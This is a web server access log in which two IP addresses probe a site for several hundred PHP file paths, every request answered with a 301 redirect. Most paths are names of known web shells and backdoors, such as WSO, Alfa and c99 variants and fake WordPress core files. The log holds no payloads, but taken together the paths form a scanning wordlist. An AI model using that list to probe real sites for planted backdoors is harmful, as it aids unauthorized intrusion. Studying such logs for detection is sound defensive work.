40.113.19.159 - - [18/Apr/2025:21:56:49 -0400] "GET /authorize.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:56:50 -0400] "GET /wp-includes/js/crop/crop.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:56:50 -0400] "GET /class_api.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:56:51 -0400] "GET /v4.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:56:51 -0400] "GET /wp-content/plugins/xt/ HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:56:52 -0400] "GET /wp-admin/network/about.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:56:52 -0400] "GET /cnzcsfwm.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:56:53 -0400] "GET /setup-config.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:56:53 -0400] "GET /wp-includes/IXR/index.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:56:54 -0400] "GET /7yn.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:56:54 -0400] "GET /baxa1.phP8 HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:56:54 -0400] "GET /images/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:56:55 -0400] "GET /wp-includes/sitemaps/about.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:56:55 -0400] "GET /libraries/joomla/jmails.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:56:56 -0400] "GET /ae.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:56:57 -0400] "GET /wp-includes/ID3/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:56:57 -0400] "GET /f0x.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:56:58 -0400] "GET /up.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:56:59 -0400] "GET /back.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:56:59 -0400] "GET /wp-includes/certificates/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:57:00 -0400] "GET /wp-includes/Text/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:57:01 -0400] "GET /bypass.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:57:02 -0400] "GET /wp-content/plugins/pwnd/block-support.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:57:03 -0400] "GET /wp-content/plugins/cekidot/alf.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:57:04 -0400] "GET /wp-content/themes/twentyfive/include.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:57:04 -0400] "GET /wp-admin/includes/users.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:57:04 -0400] "GET /plugin.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:57:05 -0400] "GET /ms.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:57:06 -0400] "GET /.well-known/acme-challenge/atomlib.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:57:06 -0400] "GET /wp-includes/admin.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:57:07 -0400] "GET /wp-admin/includes/class-wp-media-list-data.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:57:07 -0400] "GET /.well-known/doc.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:57:07 -0400] "GET /wp-includes/wp-load.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:57:07 -0400] "GET /system_log.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:57:08 -0400] "GET /wp-content/plugins/linkpreview/index.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:57:08 -0400] "GET /9.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:57:09 -0400] "GET /wso112233.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:57:09 -0400] "GET /csv.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:57:10 -0400] "GET /wp-includes/Text/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:57:10 -0400] "GET /wp-content/uploads/2023/03/z.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:57:11 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/udd.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:57:12 -0400] "GET /home/function.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:57:12 -0400] "GET /wp-conflg.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:57:13 -0400] "GET /.well-known/eror.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:57:14 -0400] "GET /wp-content/upgrade-temp-backup/about.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:57:14 -0400] "GET /DxHhVcy2bmJ.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:57:14 -0400] "GET /wp-admin/js/widgets/about.php7 HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:57:15 -0400] "GET /wp-includes/wp-class.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:57:15 -0400] "GET /migrate.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:57:16 -0400] "GET /xxl.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:57:16 -0400] "GET /ioxi02.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:57:17 -0400] "GET /functions.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:57:17 -0400] "GET /wp-load.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:57:18 -0400] "GET /jindex.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:57:19 -0400] "GET /wp-post-editor.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:57:20 -0400] "GET /wp-content/uploads/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:57:21 -0400] "GET /css/admin.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:57:22 -0400] "GET /uploads/upload.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:57:23 -0400] "GET /wp-content/mu-plugins/db-safe-mode.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:57:24 -0400] "GET /srx.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:57:26 -0400] "GET /item.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:57:26 -0400] "GET /wp-admin/network/index.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:57:28 -0400] "GET /text.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:57:28 -0400] "GET /alfa-rex1.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:57:32 -0400] "GET /wp-admin/setup-config.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:57:33 -0400] "GET /wp-includes/images/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:57:35 -0400] "GET /templates/+theme+/error.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:57:36 -0400] "GET /wp-content/uploads/2024/index.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:57:42 -0400] "GET /wp-admin/user/index.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:57:42 -0400] "GET /wp-includes/Requests/library/ HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:57:44 -0400] "GET /Marvins.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:57:44 -0400] "GET /x/index.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:57:47 -0400] "GET /3.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:57:47 -0400] "GET /wp-admin/network/network.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:57:49 -0400] "GET /cgi-bin/admin.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:57:49 -0400] "GET /wp-admin/shell.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:57:50 -0400] "GET /simple/function.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:57:50 -0400] "GET /wp-content/themes/wp-pridmag/init.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:57:52 -0400] "GET /wp-content/plugins/pwnd/1.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:57:52 -0400] "GET /index.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:57:53 -0400] "GET /wp2.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:57:53 -0400] "GET /wp-content/updates.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:57:54 -0400] "GET /wp-includes/sodium_compat/src/ HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:57:54 -0400] "GET /r3x.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:57:54 -0400] "GET /wp-admin/maint/index.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:57:54 -0400] "GET /media-admin.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:57:55 -0400] "GET /edit.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:57:56 -0400] "GET /license.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:57:56 -0400] "GET /wp-includes/ID3/sx.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:57:57 -0400] "GET /file_browser.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:57:57 -0400] "GET /lf.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:57:57 -0400] "GET /wp-admin/maint/src_api.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:57:57 -0400] "GET /6index.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:57:58 -0400] "GET /css/flower.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:57:58 -0400] "GET /wp-contentt.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:57:59 -0400] "GET /wp-content/plugins/zedd/1.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:57:59 -0400] "GET /10.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:58:00 -0400] "GET /libraries/phpmailer/ HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:58:00 -0400] "GET /alexus-mailer.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:58:01 -0400] "GET /style.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:58:01 -0400] "GET /wp-content/themes/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:58:02 -0400] "GET /disagraeosc.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:58:02 -0400] "GET /sites/default/files/ HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:58:03 -0400] "GET /wp-content/upgrade/edit-links.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:58:03 -0400] "GET /5.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:58:04 -0400] "GET /s.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:58:04 -0400] "GET /wp-content/plugins/backup-backup/includes/438788106...php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:58:05 -0400] "GET /shell20211028.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:58:05 -0400] "GET /wp-includes/IXR/themes.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:58:05 -0400] "GET /aa.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:58:06 -0400] "GET /.well-known/themes HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:58:07 -0400] "GET /wp-admin/js/index.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:58:08 -0400] "GET /.well-known/radio.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:58:08 -0400] "GET /83064.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:58:08 -0400] "GET /4index.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:58:09 -0400] "GET /class-bulk-skin.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:58:09 -0400] "GET /wp-pano.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:58:10 -0400] "GET /wp-admin/repeater.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:58:10 -0400] "GET /wp-content/plugins/config HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:58:10 -0400] "GET /aleXus.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:58:11 -0400] "GET /wp-content/sxo.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:58:12 -0400] "GET /hkvkjguw.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:58:12 -0400] "GET /c.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:58:13 -0400] "GET /templates/protostar/index.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:58:13 -0400] "GET /wp-content/uploads/+year+/+month+/ HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:58:14 -0400] "GET /custom-plugin.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:58:14 -0400] "GET /wp-content/plugins/revslider/includes/external/page/index.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:58:15 -0400] "GET /wp-content/plugins/sxo.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:58:15 -0400] "GET /new-index.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:58:16 -0400] "GET /rss.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:58:17 -0400] "GET /images/mzeogsze.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:58:18 -0400] "GET /alfashell.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:58:19 -0400] "GET /geju.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:58:19 -0400] "GET /wp-includes/wp-red.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:58:20 -0400] "GET /kk.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:58:21 -0400] "GET /export.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:58:22 -0400] "GET /wp-includes/customize/index.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:58:23 -0400] "GET /wp-admin/user/cloud.php/config.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:58:23 -0400] "GET /wp-content/uploads/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:58:24 -0400] "GET /wp-admin/css/colors/blue/about.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:58:25 -0400] "GET /edit-link-form.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:58:26 -0400] "GET /erin1.PhP7 HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:58:27 -0400] "GET /wp-content/themes/gaukingo/db.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:58:29 -0400] "GET /hehe.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:58:30 -0400] "GET /upgrade.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:58:32 -0400] "GET /6.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:58:33 -0400] "GET /.well-known/oduexytv.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:58:35 -0400] "GET /wp-includes/block-support.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:58:36 -0400] "GET /cgi-bin/about.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:58:39 -0400] "GET /404.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:58:40 -0400] "GET /flower.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:58:42 -0400] "GET /8index.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:58:43 -0400] "GET /.well-known/mfeypwze.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:58:43 -0400] "GET /link.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:58:44 -0400] "GET /wp-admin/images/atomlib.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:58:45 -0400] "GET /wp-includes/js/tinymce/plugins/compat3x/css/index.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:58:46 -0400] "GET /old-index.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:58:47 -0400] "GET /sx.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:58:48 -0400] "GET /tmp_images/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:58:49 -0400] "GET /wp-admin/user/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:58:50 -0400] "GET /smaxx.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:58:52 -0400] "GET /themes.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:58:53 -0400] "GET /oauth.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:58:54 -0400] "GET /wp-content/plugins/akbifoe/ HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:58:55 -0400] "GET /ok.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:58:56 -0400] "GET /file.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:58:56 -0400] "GET /ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:58:57 -0400] "GET /it.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:58:58 -0400] "GET /wp-admin/network/wp-footer.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:58:59 -0400] "GET /wp-includes/fw.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:58:59 -0400] "GET /wp-includes/SimplePie/index.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:59:00 -0400] "GET /wp-content/plugins/vwcleanerplugin/bump.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:59:01 -0400] "GET /allez.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:59:02 -0400] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:59:03 -0400] "GET /wp-content/plugins/css-ready/file.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:59:03 -0400] "GET /IDhrIlrLb.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:59:04 -0400] "GET /wp-content/themes/seotheme/mar.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:59:05 -0400] "GET /11index.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:59:06 -0400] "GET /tmp/vuln.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:59:08 -0400] "GET /wp-theme.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:59:09 -0400] "GET /wp-ad.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:59:09 -0400] "GET /.well-known/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:59:10 -0400] "GET /wp-links.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:59:11 -0400] "GET /wp-includes/js/e3B6W/index.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:59:12 -0400] "GET /update.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:59:14 -0400] "GET /wp-includes/rest-api/fields/radio.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:59:15 -0400] "GET /.well-known/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:59:15 -0400] "GET /wp-includes/Text/Diff/Renderer/install.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:59:17 -0400] "GET /.well-known/worksec.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:59:18 -0400] "GET /098.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:59:19 -0400] "GET /sym403.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:59:20 -0400] "GET /woh.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:59:21 -0400] "GET /wp-admin/images/index.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:59:21 -0400] "GET /wp-includes/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:59:22 -0400] "GET /wp-admin/plugins/setup HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:59:23 -0400] "GET /sleepster/ HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:59:24 -0400] "GET /wp-content/plugins/ubh/1.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:59:24 -0400] "GET /baja.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:59:25 -0400] "GET /readme.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:59:26 -0400] "GET /.well-known/fm.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:59:26 -0400] "GET /filter.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:59:27 -0400] "GET /wp-content/plugins/css-ready/ HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:59:28 -0400] "GET /nakrip.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:59:29 -0400] "GET /f35.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:59:30 -0400] "GET /images/c99.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:59:31 -0400] "GET /wp-content/themes/bltm/ HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:59:32 -0400] "GET /wp-content/user/ HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:59:34 -0400] "GET /wp-content/themes/twentytwentytwo/inc/patterns/ HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:59:35 -0400] "GET /xxc.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:59:36 -0400] "GET /wp-content/plugins/press/wp-class.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:59:39 -0400] "GET /8.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:59:42 -0400] "GET /wp-includes/wp_class_datlib.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:59:45 -0400] "GET /V3.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:59:46 -0400] "GET /wp-includes/css/dist/components/nomox.php.suspected HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:59:48 -0400] "GET /bihnmimh.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:59:49 -0400] "GET /wp-mna.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:59:50 -0400] "GET /wp-content/themes/newstoday/ HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:59:51 -0400] "GET /contentloader1.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:59:52 -0400] "GET /snd.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:59:53 -0400] "GET /xindex.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:59:55 -0400] "GET /wso1.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:59:56 -0400] "GET /aksinet.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:59:57 -0400] "GET /chosen.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:59:59 -0400] "GET /wp-admin/css/about.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:22:00:00 -0400] "GET /.well-known/zwso.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:22:00:03 -0400] "GET /wp-admin/maint/atomlib.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:22:00:05 -0400] "GET /indeex.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:22:00:07 -0400] "GET /wp-content/plugins/wp-help/ HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:22:00:12 -0400] "GET /css/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:22:00:14 -0400] "GET /files/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:22:00:18 -0400] "GET /defense.php HTTP/1.1" 301 795 "-" "-" 